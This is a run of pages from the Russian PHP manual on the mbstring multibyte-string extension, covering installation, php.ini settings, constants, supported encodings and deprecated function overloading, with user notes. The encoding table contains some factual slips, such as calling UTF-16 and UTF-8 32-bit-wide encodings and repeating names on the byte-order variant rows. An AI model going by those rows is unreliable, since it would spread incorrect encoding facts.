    • mb_strrchr — Поиск последнего вхождения одной строки в другую
    • mb_strrichr — Поиск последнего вхождения одной строки в другую, нечувствительный к регистру
    • mb_strripos — Поиск последнего вхождения одной строки в другую, нечувствительный к регистру
    • mb_strrpos — Поиск позиции последнего вхождения одной строки в другую
    • mb_strstr — Находит первое вхождение подстроки в строке
    • mb_strtolower — Приведение строки к нижнему регистру
    • mb_strtoupper — Приведение строки к верхнему регистру
    • mb_strwidth — Возвращает ширину строки
    • mb_substitute_character — Установить/получить символ замены
    • mb_substr_count — Возвращает количество вхождений подстроки
    • mb_substr — Возвращает часть строки

User Contributed Notes

There are no user contributed notes for this page.


Введение

Хотя и существует множество языков, в которых все необходимые символы можно закодировать одним восьмибитным значением, существуют также и языки, требующие столько символов, что они не умещаются в один байт (Байт состоит из восьми бит. Каждый бит может содержать одно из двух различных значений, единицу или ноль. Поэтому, один байт может задавать только 256 уникальных значений (два в восьмой степени)). Схемы кодирования, использующие многобайтовые строки, были разработаны для того, чтобы можно было пользоваться более, чем 256 символами, при этом продолжая работать со строками, как будто они закодированы в обычной побайтовой системе.

Когда вы работаете с многобайтовыми строками (удаляете пробельные символы с помощью функции trim, разбиваете строку на массив по регулярному выражению с помощью функции split, и т.д.), необходимо использовать специальные функции, так как в таких кодировках два или более последовательных байта могут задавать один символ. Иначе, если применить функцию, не умеющую работать с многобайтовыми строками, она, вероятно, не сможет определить начало и конец многобайтовых символов, и в итоге вы получите строку-мусор, которая, скорее всего, потеряет исходное значение.

mbstring предоставляет функции для работы с многобайтовыми строками, которые облегчают работу c многобайтовыми кодировками в PHP. Кроме того, mbstring занимается конвертированием строк из одной кодировки в другую. mbstring предназначен для работы с Unicode-кодировками, такими, как UTF-8 и UCS-2, а также со многими однобайтовыми кодировками для удобства (перечисленными в списке Поддерживаемых кодировок символов).

User Contributed Notes

There are no user contributed notes for this page.


Установка

mbstring не входит в список модулей, устанавливаемых по умолчанию. Это значит, что изначально этот модуль отключён. Для использования функций этого модуля необходимо явно включить его с опцией configure. За дополнительной информацией обращайтесь в раздел Инсталляция.

Следующие настройки относятся к модулю mbstring.

  • --enable-mbstring: Включение функций mbstring. Эта настройка необходима для использования функций mbstring.

    libmbfl необходима для работы mbstring. libmbfl поставляется вместе с mbstring. До PHP 7.3.0, если libmbfl уже установлена в системе, то можно использовать --with-libmbfl[=DIR] для использования установленной библиотеки.

  • --disable-mbregex: Отключение функций регулярных выражений, поддерживающих многобайтовые кодировки.

    Oniguruma необходима для функций, работающих с регулярными выражениями с поддержкой многобайтовых кодировок. Начиная с PHP 7.4.0, для обнаружения библиотеки libonig используется pkg-config. До PHP 7.4.0 Oniguruma поставлялась вместе с mbstring, но можно было выполнить сборку с уже установленным libonig, передав --with-onig[=DIR].

    Возможно запретить многобайтовые регулярные выражения с возвратом с помощью опции --disable-mbregex-backtrack.

User Contributed Notes

andreas dot sf93 at gmail dot com 04-Apr-2023 06:14
Install  mbstring :

-Linux/debian:

# Correct command

sudo apt install php-mbstring
Ajay Jha 04-Jan-2023 09:15
yum install php-mbstring
service httpd restart
cba dot allende at gmail dot com 02-Oct-2022 08:32
Install  mbstring :

-Linux/debian:

apt-get install php- mbstring


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции конфигурации mbstring
Имя | По умолчанию | Место изменения | Список изменений
mbstring.language | "neutral" | PHP_INI_ALL |
mbstring.detect_order | NULL | PHP_INI_ALL |
mbstring.http_input | "pass" | PHP_INI_ALL | Устарела
mbstring.http_output | "pass" | PHP_INI_ALL | Устарела
mbstring.internal_encoding | NULL | PHP_INI_ALL | Устарела
mbstring.substitute_character | NULL | PHP_INI_ALL |
mbstring.func_overload | "0" | PHP_INI_SYSTEM | Объявлено устаревшим в PHP 7.2.0; удалено с PHP 8.0.0.
mbstring.encoding_translation | "0" | PHP_INI_PERDIR |
mbstring.http_output_conv_mimetypes | "^(text/|application/xhtml\+xml)" | PHP_INI_ALL |
mbstring.strict_detection | "0" | PHP_INI_ALL |
mbstring.regex_retry_limit | "1000000" | PHP_INI_ALL | Доступно, начиная с PHP 7.4.0.
mbstring.regex_stack_limit | "100000" | PHP_INI_ALL | Доступно, начиная с PHP 7.3.5.
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

mbstring.language string

По умолчанию в mbstring используются настройки национального языка. Обратите внимание, что эта опция автоматически определяет mbstring.internal_encoding, и mbstring.internal_encoding должен быть помещён после mbstring.language в php.ini

mbstring.encoding_translation bool

Включает прозрачный фильтр кодировки для входящих запросов HTTP, который выполняет обнаружение и преобразование входной кодировки во внутреннюю кодировку.

mbstring.internal_encoding string
Внимание

Эта возможность устарела и будет обязательно удалена в будущем.

Определяет внутреннюю кодировку символов по умолчанию.

Пользователи должны оставить эту опцию пустой и задать вместо неё default_charset.

mbstring.http_input string
Внимание

Эта возможность устарела и будет обязательно удалена в будущем.

Определяет кодировку символов по умолчанию для HTTP-ввода.

Пользователи должны оставить эту опцию пустой и задать вместо неё default_charset.

mbstring.http_output string
Внимание

Эта возможность устарела и будет обязательно удалена в будущем.

Определяет кодировку символов по умолчанию для HTTP-вывода (конвертация из внутренней кодировки в кодировку HTTP вывода произойдёт перед выводом).

Пользователи должны оставить эту опцию пустой и задать вместо неё default_charset.

mbstring.detect_order string

Определяет порядок определения кодировки символов по умолчанию. Смотрите также mb_detect_order().

mbstring.substitute_character string

Определяет символ для замены недопустимых символов кодировки. Список поддерживаемых значений смотрите в описании функции mb_substitute_character().

mbstring.func_overload string
Внимание

Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Перегружает множество однобайтовых функций аналогами из mbstring. Смотрите раздел Перегрузка функций для получения дополнительной информации.

Эта опция может быть изменена только в файле php.ini.

mbstring.http_output_conv_mimetypes string

mbstring.strict_detection bool

Включает строгое определение кодировки. Смотрите описание и примеры в mb_detect_encoding().

mbstring.regex_retry_limit int

Ограничивает количество обратных ходов, которые могут быть выполнены во время одного совпадения mbregex.

Эта настройка действует только при связывании с oniguruma >= 6.8.0.

mbstring.regex_stack_limit int

Ограничивает глубину стека регулярных выражений mbstring.

Согласно » спецификации HTML 4.01, веб-браузерам разрешено перекодировать данные из формы, которые они получают в кодировке символов, отличной от используемой на странице. Смотрите функцию mb_http_input() для того, чтобы определить кодировку символов, используемую браузерами.

Хотя популярные браузеры способны достаточно точно определить кодировку символов данного HTML-документа, было бы лучше установить параметр charset в HTTP-заголовке Content-Type соответствующим значением с помощью header() или указать требуемое значение в параметре default_charset в ini-настройках.

Пример #1 Примеры настроек php.ini

; Установить язык по умолчанию
mbstring.language        = Neutral; Установить Neutral(UTF-8) языком по умолчанию (по умолчанию)
mbstring.language        = English; Установить английский языком по умолчанию
mbstring.language        = Japanese; Установить японский языком по умолчанию

;; Установить внутреннюю кодировку по умолчанию
;; Примечание: Убедитесь, что используете кодировку символов, которая работает с PHP
mbstring.internal_encoding    = UTF-8  ; Установить внутреннюю кодировку в UTF-8

;; Включено преобразование кодировки HTTP-ввода.
mbstring.encoding_translation = On

;; Установить кодировку символов по умолчанию для HTTP-ввода
;; Примечание: Скрипт не может изменить установку http_input.
mbstring.http_input           = pass    ; Нет преобразования.
mbstring.http_input           = auto    ; Установить HTTP-ввод в auto
                                ; "auto" расширяется в соответствии с mbstring.language
mbstring.http_input           = SJIS    ; Установить HTTP-ввод в SJIS
mbstring.http_input           = UTF-8,SJIS,EUC-JP ; Указать порядок

;; Установить кодировку символов по умолчанию для HTTP-вывода
mbstring.http_output          = pass    ; Нет преобразования.
mbstring.http_output          = UTF-8   ; Установить кодировку HTTP-вывода в UTF-8

;; Установить порядок определения кодировки символов по умолчанию
mbstring.detect_order         = auto    ; Установить порядок определения в auto
mbstring.detect_order         = ASCII,JIS,UTF-8,SJIS,EUC-JP ; Указать порядок

;; Установить символ замены по умолчанию
mbstring.substitute_character = 12307   ; Указать значение Unicode
mbstring.substitute_character = none    ; Не печатать символ
mbstring.substitute_character = long    ; Примеры кодовых значений символов: U+3000,JIS+7E7E

Пример #2 Настройки php.ini для пользователей EUC-JP

;; Отключить буферизацию вывода
output_buffering      = Off

;; Установить кодировку в http-заголовке
default_charset       = EUC-JP

;; Установить японский языком по умолчанию
mbstring.language = Japanese

;; Включено преобразование кодировки HTTP-ввода.
mbstring.encoding_translation = On

;; Установить перекодировку HTTP-ввода в auto
mbstring.http_input   = auto

;; Конвертировать HTTP-вывод в EUC-JP
mbstring.http_output  = EUC-JP

;; Установить внутреннюю кодировку в EUC-JP
mbstring.internal_encoding = EUC-JP

;; Не печатать недопустимые символы
mbstring.substitute_character = none

Пример #3 Настройки php.ini для пользователей SJIS

;; Включить буферизацию вывода
output_buffering     = On

;; Установить mb_output_handler для включения перекодировки вывода
output_handler       = mb_output_handler

;; Установить кодировку в http-заголовке
default_charset      = Shift_JIS

;; Установить японский языком по умолчанию
mbstring.language = Japanese

;; Установить перекодировку HTTP-ввода в auto
mbstring.http_input  = auto

;; Конвертировать в SJIS
mbstring.http_output = SJIS

;; Установить внутреннюю кодировку в EUC-JP
mbstring.internal_encoding = EUC-JP

;; Не печатать недопустимые символы
mbstring.substitute_character = none

User Contributed Notes

ASchmidt at Anamera dot net 30-Jul-2018 12:17
The documentation is vague, on WHAT precisely the valid "NLS" language strings are that are valid for "mbstring.language".

According to http://php.net/manual/en/function.mb-language.php the values are "Japanese", "ja", "English", "en", or "uni" for UTF-8.
On the other hand, the sample on this current page omits "uni" but introduces "Neutral" as an undocumented option - which is also the default value:

<?php
var_dump( mb_language() );   // "neutral" (default if not set)
var_dump( mb_language( 'uni' ) );    // TRUE, valid language string
var_dump( mb_language() );    // "uni"
var_dump( mb_language( 'neutral' ) );    // TRUE, valid language string
var_dump( mb_language() );    // "neutral"
?>
Hayley Watson 24-Jun-2018 02:28
String literals in the PHP script are encoded with the same encoding that the PHP file was saved with. This is not affected by default_charset or other .ini settings.

Scenario: The default_charset is KOI8-R, and there is a text file "input.txt" containing the string "Это текст для поиска." in KOI8-R encoding.

A PHP script is written:
<?php

// mb_internal_encoding('KOI8-R');

$string  = 'текст.';

$data = file_get_contents('input.txt');

echo mb_strpos($data, $string);

?>
But unfortunately it was saved as UTF-8.

It doesn't work; mb_strpos() returns false because it can't find the UTF-8-encoded "текст" inside the KOI8-R-encoded "Это текст для поиска.".

Adjusting the default_charset had no effect. Not even fiddling with mb_internal_encoding could fix it, simply because the strings involved had *different* encodings and without actually changing one of them they just weren't going to match.

Either re-save the source file as KOI8-R to match the data file, or re-save the data file as UTF-8 to match the source code. Only then will the script properly echo '4'.
PRETTYGIRL NOT COMe 17-Aug-2013 11:51
Note that you should better at least set "mbstring.internal_encoding".

Just check as below:

<?php

echo mb_internal_encoding() . '<br />';
echo mb_regex_encoding();

?>

You might be surprised at unexpected values.

eg.

mbstring.language Japanese
;mbstring.internal_encoding (commented out showing "no value" in phpinfo() )

These two lines in "php.ini" are the same values as

mb_internal_encoding("EUC-JP");
mb_regex_encoding("EUC-JP");

in Win / Linux servers.

"mbstring.internal_encoding" defines the default encoding for "mb_" Functions such as "mb_strlen()".

It also defines the same for "mb_ereg_" Functions such as "mb_ereg()" when you don't set "mb_regex_encoding".


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

MB_OVERLOAD_MAIL (int)
Удалено с PHP 8.0.0.
MB_OVERLOAD_STRING (int)
Удалено с PHP 8.0.0.
MB_OVERLOAD_REGEX (int)
Удалено с PHP 8.0.0.
MB_CASE_UPPER (int)
Выполняет полное преобразование в верхний регистр. Может изменить длину строки. Это режим, используемый mb_strtoupper().
MB_CASE_LOWER (int)
Выполняет полное преобразование в нижний регистр. Может изменить длину строки. Это режим, используемый mb_strtolower().
MB_CASE_TITLE (int)
Выполняет полное преобразование прецедента заголовка на основе свойств производного Unicode Cased и CaseIgnorable. В частности, улучшает обработку кавычек и апострофов. Может изменить длину строки.
MB_CASE_FOLD (int)
Выполняет полное преобразование, которое удаляет различия регистра, присутствующие в строке. Используется для сопоставления без учёта регистра. Может изменить длину строки. Доступно с PHP 7.3.
MB_CASE_LOWER_SIMPLE (int)
Выполняет простое преобразование в нижний регистр. Не меняет длину строки. Доступно с PHP 7.3.
MB_CASE_UPPER_SIMPLE (int)
Выполняет простое преобразование в верхний регистр. Не меняет длину строки. Доступно с PHP 7.3.
MB_CASE_TITLE_SIMPLE (int)
Выполняет простое преобразование в заглавные буквы. Не меняет длину строки. Доступно с PHP 7.3.
MB_CASE_FOLD_SIMPLE (int)
Выполняет простое преобразование, которое удаляет различия регистра, присутствующие в строке. Используется для сопоставления без учёта регистра. Не меняет длину строки. Используется без учёта регистра внутренних операций модулем MBString. Доступно с PHP 7.3.
MB_ONIGURUMA_VERSION (string)
Версия Oniguruma, например, 6.9.4. Доступно с PHP 7.4.

User Contributed Notes

There are no user contributed notes for this page.


Краткий обзор поддерживаемых кодировок

Список поддерживаемых кодировок
Название в реестре кодировок IANA | Лежащий в основе набор символов | Описание | Дополнительная информация
ISO-10646-UCS-4 | ISO 10646 | Универсальный набор символов с 31 битом для кода символа, стандартизованный в ISO/IEC 10646 как UCS-4. Установлена синхронизация со стандартом Юникод. | Если это название используется в средствах преобразования кодировок, конвертер попытается определить порядок расположения байтов по BOM (метка порядка байтов).
ISO-10646-UCS-4 | UCS-4 | Смотрите выше. | В отличие от UCS-4, строки всегда принимаются закодированными в прямом порядке расположения байтов.
ISO-10646-UCS-4 | UCS-4 | Смотрите выше. | В отличие от UCS-4, строки всегда принимаются закодированными в обратном порядке расположения байтов.
ISO-10646-UCS-2 | UCS-2 | Универсальный набор символов с 16 битом для кода символа, стандартизованный в ISO/IEC 10646 как UCS-2. Установлена синхронизация со стандартом Юникод. | Если это название используется в средствах преобразования кодировок, конвертер попытается определить порядок расположения байтов по BOM (метка порядка байтов).
ISO-10646-UCS-2 | UCS-2 | Смотрите выше. | В отличие от UCS-2, строки всегда принимаются закодированными в прямом порядке расположения байтов.
ISO-10646-UCS-2 | UCS-2 | Смотрите выше. | В отличие от UCS-2, строки всегда принимаются закодированными в обратном порядке расположения байтов.
UTF-32 | Юникод | Формат преобразования Юникода с 32-битной шириной символа, кодовое пространство которого соответствует стандарту кодовой таблицы Юникода. Эта схема кодирования не идентична UCS-4, так как кодовое пространство Юникода ограничено 21-м битом. | Если это название используется в средствах преобразования кодировок, конвертер попытается определить порядок расположения байтов по BOM (метка порядка байтов).
UTF-32BE | Юникод | Смотрите выше | В отличие от UTF-32, строки всегда принимаются закодированными в прямом порядке расположения байтов.
UTF-32LE | Юникод | Смотрите выше | В отличие от UTF-32, строки всегда принимаются закодированными в обратном порядке расположения байтов.
UTF-16 | Юникод | Формат преобразования Юникода с 32-битной шириной кода символа. Спецификация UTF-16 отличается от UCS-2 ввиду того, что начиная с Юникод 2.0 был внедрён механизм замещения символов и теперь UTF-16 ссылается на 21-битное кодовое пространство. | Если это название используется в средствах преобразования кодировок, конвертер попытается определить порядок расположения байтов по BOM (метка порядка байтов).
UTF-16BE | Юникод | Смотрите выше. | В отличие от UTF-16, строки всегда принимаются закодированными в прямом порядке расположения байтов.
UTF-16LE | Юникод | Смотрите выше. | В отличие от UTF-16, строки всегда принимаются закодированными в обратном порядке расположения байтов.
UTF-8 | Юникод / UCS | Формат преобразования Юникода с 32-битной шириной кода символа. | нет
UTF-7 | Юникод | Безопасный для почтовых программ и решений формат преобразования Юникода, определённый в спецификации » RFC2152. | нет
(нет) | Юникод | Разновидность UTF-7, специально разработанная для использования в » протоколе IMAP. | нет
US-ASCII (предпочитаемое MIME-имя) / iso-ir-6 / ANSI_X3.4-1986 / ISO_646.irv:1991 / ASCII / ISO646-US / us / IBM367 / CP367 / csASCII | ASCII / ISO 646 | ASCII (American Standard Code for Information Interchange - американский стандартный код для обмена информацией) - широко используемая 7-битная кодировка. Также стандартизована как международный стандарт ISO 646. | (нет)
EUC-JP (предпочитаемое MIME-имя) / Extended_UNIX_Code_Packed_Format_for_Japanese / csEUCPkdFmtJapanese | Объединение US-ASCII / JIS X0201:1997 (часть hankaku kana) / JIS X0208:1990 / JIS X0212:1990 | Как видно из названия, эта кодировка используется в основном в Unix системах или им подобных. Исходная схема кодирования Extended UNIX Code легла в основу стандарта ISO 2022. | Набор символов, на который ссылается EUC-JP отличен от набора для IBM932 / CP932, которые используются в OS/2® и Microsoft® Windows®. Для обеспечения взаимодействия между этими платформами используйте кодировку EUCJP-WIN.
Shift_JIS (предпочитаемое MIME-имя) / MS_Kanji / csShift_JIS | Объединение JIS X0201:1997 / JIS X0208:1997 | Shift_JIS был разработан в начале 80-х, когда Японские текстовые процессоры для рядовых пользователей только выходили на рынок, чтобы сохранить совместимость со схемой кодирования JIS X 0201:1976. В соответствии с определением IANA, кодовая таблица Shift_JIS несколько отличается от IBM932 / CP932. Тем не менее, названия "SJIS" / "Shift_JIS" ошибочно используются для обращения к этим кодовым таблицам. | Для кодовой таблицы CP932, используйте кодировку SJIS-WIN.
(none) | Объединение JIS X0201:1997 / JIS X0208:1997 / IBM расширения / NEC расширения | Несмотря на то, что эта "кодировка" использует ту же схему кодирования, что и EUC-JP, наборы символов, лежащий в их основе, различны. Таким образом, некоторые коды ссылаются на отличные от EUC-JP символы. | нет
Windows-31J / csWindows31J | Объединение JIS X0201:1997 / JIS X0208:1997 / IBM расширения / NEC расширения | Несмотря на то, что эта "кодировка" использует ту же схему кодирования, что и Shift_JIS, наборы символов, лежащий в их основе, различны. Таким образом, некоторые коды ссылаются на отличные от Shift_JIS символы. | (нет)
ISO-2022-JP (предпочитаемое MIME-имя) / csISO2022JP | US-ASCII / JIS X0201:1976 / JIS X0208:1978 / JIS X0208:1983 | » RFC1468 | (нет)
JIS |  |  |
ISO-8859-1 |  |  |
ISO-8859-2 |  |  |
ISO-8859-3 |  |  |
ISO-8859-4 |  |  |
ISO-8859-5 |  |  |
ISO-8859-6 |  |  |
ISO-8859-7 |  |  |
ISO-8859-8 |  |  |
ISO-8859-9 |  |  |
ISO-8859-10 |  |  |
ISO-8859-13 |  |  |
ISO-8859-14 |  |  |
ISO-8859-15 |  |  |
ISO-8859-16 |  |  |
byte2be |  |  |
byte2le |  |  |
byte4be |  |  |
byte4le |  |  |
BASE64 |  |  |
HTML-ENTITIES |  |  |
7bit |  |  |
8bit |  |  |
EUC-CN |  |  |
CP936 |  |  |
HZ |  |  |
EUC-TW |  |  |
CP950 |  |  |
BIG-5 |  |  |
EUC-KR |  |  |
UHC (CP949) |  |  |
ISO-2022-KR |  |  |
Windows-1251 (CP1251) |  |  |
Windows-1252 (CP1252) |  |  |
CP866 (IBM866) |  |  |
KOI8-R |  |  |
KOI8-U |  |  |

User Contributed Notes

There are no user contributed notes for this page.


Основы японских многобайтных кодировок

Японские символы могут быть представлены только в многобайтных кодировках, и многие стандарты кодирования зависят от платформы и назначения текста. Осложняет ситуацию то, что эти стандарты немного друг от друга отличаются. Чтобы создать веб-приложение, правильно работающее в японском окружении, разработчику необходимо держать все эти расхождения в уме, чтобы быть уверенным, что в каждый момент используется правильная кодировка.

  • Кодовое пространство для символа может занимать до шести байт
  • Большинство японских многобайтных символов требуют для хранения вдвое больше пространства, чем однобайтные символы. Такие символы называют "zen-kaku" по-японски, что означает "полная ширина". Другие, более узкие символы называют "han-kaku", что значит "полуширина". Графические свойства символов, однако, зависят от шрифта, которым они отображаются.
  • В некоторых кодировках для смены кодовой разметки определённой области кодов (00h на 7fh) используются клавиши shift(escape), определённые в стандарте in ISO-2022.
  • ISO-2022-JP должен использоваться в SMTP/NNTP, а заголовки и сущности должны перекодироваться в соответствии с требованиями RFC. Даже, если перекодировка не требуется, всё же она будет не лишней, так как некоторые популярные почтовые клиенты не умеют работать с другими кодировками.
  • Веб-страницы, создаваемые для служб мобильных телефонов, таких как » i-mode или » EZweb должны использовать кодировку Shift_JIS.
  • Эмодзи, используемые в сервисах мобильных телефонов, таких как » i-mode или » EZweb.

User Contributed Notes

gullevek at gullevek dot org 25-Aug-2010 12:24
For ISO-2022-JP encoding. If you convert data into this encoding it is highly recommended you use ISO-2022-JP-MS for the extended character set, eg the 1 in a circle ?.

For the mail header on the other hand you have to use ISO-2022-JP *without* the -MS extension.


Ввод и вывод HTTP

Механизм преобразования кодировок ввода/вывода HTTP также может конвертировать двоичные данные. Пользователи должны сами следить за процессом преобразования, если в качестве ввода/вывода HTTP передаются двоичные данные.

Замечание:

Если enctype в HTML-форме имеет значение multipart/form-data, а значение mbstring.encoding_translation в php.ini установлено в On, переменные и имена загружаемых файлов в POST-запросах конвертируются во внутреннюю кодировку скрипта автоматически. Однако, это не относится к ключам запроса.

  • Ввод HTTP

    Из PHP-скрипта невозможно контролировать преобразование кодировки входящих через HTTP символов. Если нужно отключить автоматическую конвертацию для HTTP ввода, это можно сделать в php.ini.

    Пример #1 Отключение преобразования кодировки HTTP ввода в php.ini

    ;; Отключение конвертации
mbstring.http_input = pass
;; Отключение конвертации
mbstring.encoding_translation = Off

    Если PHP используется как модуль Apache, можно переопределить эти настройки в каждой директиве виртуального хоста в httpd.conf или для каждой директории с .htaccess. За дополнительной информацией обращайтесь в раздел Конфигурация и к руководству по работе с Apache.

  • Вывод HTTP

    Есть несколько способов включить преобразование кодировки для выходных данных. Один из них - использование php.ini, другой - использование функции ob_start() с mb_output_handler() в качестве callback-функции для ob_start.

Пример #2 Пример настройки php.ini

;; Включение преобразования кодировок выходных символов для всех PHP страниц

;; Включение буферизации выходных данных
output_buffering    = On

;; Определение mb_output_handler для включения конвертации вывода
output_handler      = mb_output_handler

Пример #3 Пример скрипта

<?php

// Включение преобразования кодировок выходных символов только для этой страницы

// Установка кодировки HTTP вывода в SJIS
mb_http_output('SJIS');

// Запуск буферизации и определение "mb_output_handler" как
// callback-функции
ob_start('mb_output_handler');

?>

User Contributed Notes

There are no user contributed notes for this page.


Поддерживаемые кодировки символов

В настоящее время модулем mbstring поддерживаются следующие кодировки символов. Любая из этих кодировок символов может быть указана в параметре encoding функций mbstring.

Следующие кодировки символов поддерживаются в этом модуле PHP:

  • UCS-4*
  • UCS-4BE
  • UCS-4LE*
  • UCS-2
  • UCS-2BE
  • UCS-2LE
  • UTF-32*
  • UTF-32BE*
  • UTF-32LE*
  • UTF-16*
  • UTF-16BE*
  • UTF-16LE*
  • UTF-7
  • UTF7-IMAP
  • UTF-8*
  • ASCII*
  • EUC-JP*
  • SJIS*
  • eucJP-win*
  • SJIS-win*
  • ISO-2022-JP
  • ISO-2022-JP-MS
  • CP932
  • CP51932
  • SJIS-mac (alias: MacJapanese)
  • SJIS-Mobile#DOCOMO (alias: SJIS-DOCOMO)
  • SJIS-Mobile#KDDI (alias: SJIS-KDDI)
  • SJIS-Mobile#SOFTBANK (alias: SJIS-SOFTBANK)
  • UTF-8-Mobile#DOCOMO (alias: UTF-8-DOCOMO)
  • UTF-8-Mobile#KDDI-A
  • UTF-8-Mobile#KDDI-B (alias: UTF-8-KDDI)
  • UTF-8-Mobile#SOFTBANK (alias: UTF-8-SOFTBANK)
  • ISO-2022-JP-MOBILE#KDDI (alias: ISO-2022-JP-KDDI)
  • JIS
  • JIS-ms
  • CP50220
  • CP50220raw
  • CP50221
  • CP50222
  • ISO-8859-1*
  • ISO-8859-2*
  • ISO-8859-3*
  • ISO-8859-4*
  • ISO-8859-5*
  • ISO-8859-6*
  • ISO-8859-7*
  • ISO-8859-8*
  • ISO-8859-9*
  • ISO-8859-10*
  • ISO-8859-13*
  • ISO-8859-14*
  • ISO-8859-15*
  • ISO-8859-16*
  • byte2be
  • byte2le
  • byte4be
  • byte4le
  • BASE64
  • HTML-ENTITIES (alias: HTML)
  • 7bit
  • 8bit
  • EUC-CN*
  • CP936
  • GB18030
  • HZ
  • EUC-TW*
  • CP950
  • BIG-5*
  • EUC-KR*
  • UHC (alias: CP949)
  • ISO-2022-KR
  • Windows-1251 (alias: CP1251)
  • Windows-1252 (alias: CP1252)
  • CP866 (alias: IBM866)
  • KOI8-R*
  • KOI8-U*
  • ArmSCII-8 (alias: ArmSCII8)

* обозначает кодировки, которые также могут использоваться в регулярных выражениях.

Любая запись в php.ini, которая принимает имя кодировки, может также использовать значения "auto" и "pass". Функции mbstring, которые принимают имя кодировки, также могут использовать значение "auto".

Если установлено значение "pass", преобразование кодировки не производится.

Если установлено значение "auto", оно расширяется списком кодировок, определённым в NLS (настройках национального языка). Например, если NLS установлен в Japanese, предполагается, что значение будет из списка "ASCII,JIS,UTF-8,EUC-JP,SJIS".

Смотрите также mb_detect_order()

User Contributed Notes

Anonymous 07-Sep-2014 06:32
CP850 (DOS-Latin-1) is also supported.
Tomolimo (olivier dot moron at raynet-it dot com) 13-Sep-2013 02:12
Apart of this list, GB2312 encoding is also supported.
It is Chinese Simplified encoding which is now superseded by GB18030, but GB2312 is not in the list.
If you try to us it, the result will allright even if it is not in the list.
Regards,
Tomolimo
akniep at rayo dot info 10-Dec-2012 03:42
Use mb_list_encodings() to check if an encoding is supported by mbstring before using its functions for it.


Механизм перегрузки функций

Внимание

Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Зачастую заставить работать существующее PHP-приложение в многобайтовом окружении оказывается довольно трудной задачей. Это происходит, потому что большинство PHP-приложений написано с использованием стандартных функций обработки строк, таких как substr(), которые не умеют работать со строками в многобайтовых кодировках.

mbstring поддерживает механизм 'перегрузки функций', который позволяет сообщить приложению о том, что используется многобайтовая кодировка, без модификации кода, отвечающего за работу со строками. Например, если включена перегрузка функций, то функция mb_substr() будет вызываться вместо substr(). Этот механизм во многих случаях позволяет портировать приложения, поддерживающие только однобайтовые кодировки, в многобайтное окружение.

Для использования механизма перегрузки функций нужно задать настройке mbstring.func_overload в php.ini положительное значение, которое представляет собой комбинацию битовых масок, определяющих категории функций, которые нужно перегружать. Это будет число 1 для перегрузки функции mail(). 2 для строковых функций, 4 для функций регулярных выражений. Например, если значение настройки равно 7, то почтовые, строковые и функции регулярных выражений будут перегружаться. Список перегружаемых функций приведён ниже.

Функции, которые будут перегружены
значение настройки mbstring.func_overload | исходная функция | перегруженная функция
1 | mail() | mb_send_mail()
2 | strlen() | mb_strlen()
2 | strpos() | mb_strpos()
2 | strrpos() | mb_strrpos()
2 | substr() | mb_substr()
2 | strtolower() | mb_strtolower()
2 | strtoupper() | mb_strtoupper()
2 | stripos() | mb_stripos()
2 | strripos() | mb_strripos()
2 | strstr() | mb_strstr()
2 | stristr() | mb_stristr()
2 | strrchr() | mb_strrchr()
2 | substr_count() | mb_substr_count()

Замечание:

Не рекомендуется использовать перегрузку функций в контексте каждой директории, так как добиться стабильной работы в этом случае пока не удалось, и это может привести к неожидаемому поведению приложения.

User Contributed Notes

Anonymous 23-Mar-2017 08:20
I took over a project with this "feature" enabled... took me a while to figure out why strings behaved non language standard. So, if you like to make grown men cry - by all means enable this deathtrap.
Anonymous 18-Mar-2016 04:40
it's kinda evil and gives you tons of headache.
Grandt 16-Jun-2014 11:10
In short, only use mbstring.func_overload if you are 100% certain that nothing on your site relies on manipulating binary data in PHP.
Oliver Baltz 26-Jul-2010 02:25
In case you need to (de)activate the overloading for a specific directory, try setting an appropriate php_admin_value in your httpd.conf, e.g.

<Directory ...>
   ...
   php_admin_value mbstring.func_overload 7
</Directory>

I'm not 100% sure if one can rely on that, but it seems to work for me.


Требования, предъявляемые к кодировкам символов в PHP

Типы кодировок, использование которых в PHP безопасно.

  • Однобайтовые кодировки,

    • имеющие ASCII-совместимую (совместимую с ISO646) разметку в диапазоне с 00h по 7fh.

  • Многобайтовые кодировки,

    • имеющие ASCII-совместимую разметку в диапазоне с 00h по 7fh.
    • не использующие escape-последовательности ISO2022.
    • не использующие значения в байтах с 00h по 7fh по отдельности, когда эти байты представляют один символ.

Далее приведены примеры кодировок, использование которых в PHP нежелательно.

JIS, SJIS, ISO-2022-JP, BIG-5

Даже если PHP-скрипт написан в рекомендуемой кодировке, он может оказаться неработоспособным. Зачастую так происходит, когда кодированные строки появляются в скрипте в качестве идентификаторов или литералов. Можно исключить большую часть таких ситуаций путём использования функции фильтрации кодировок во входящих HTTP-запросах (функция есть в модуле mbstring).

Замечание:

Крайне не рекомендуется использовать SJIS, BIG5, CP936, CP949 и GB18030 в качестве внутренних кодировок, если вы недостаточно разбираетесь в устройстве парсера, сканера и кодировки.

Замечание:

Если вы подключаетесь к базе данных средствами PHP, рекомендуется использовать одинаковые кодировки для базы данных и в качестве внутренней кодировки. Это облегчит разработку и повысит быстродействие.

Если вы используете PostgreSQL, совпадение кодировок в базе данных и используемой в PHP необязательно, так как PostgreSQL поддерживает автоматическое преобразование кодировок между СУБД и клиентом.

User Contributed Notes

There are no user contributed notes for this page.


Функции для работы с многобайтовыми строками

Ссылки

Схемы многобайтного кодирования символов и их реализации достаточно сложны, и их описание находится за пределами этой документации. Более исчерпывающую информацию о кодировках и их устройстве можно почерпнуть из нижеприведённых источников.

  • Материалы по Юникоду

    » http://www.unicode.org/

  • Информация о символах японской/корейской/китайской кодировок

    » https://resources.oreilly.com/examples/9781565922242/blob/master/doc/cjk.inf

Содержание

  • mb_check_encoding — Проверяет, что кодировка строк выбрана верно
  • mb_chr — Возвращает символ по значению кодовой точки Unicode
  • mb_convert_case — Производит смену регистра символов в строке
  • mb_convert_encoding — Преобразует строку из одной кодировки символов в другую
  • mb_convert_kana — Преобразует одну кодировку "kana" в другую ("zen-kaku", "han-kaku" и другие)
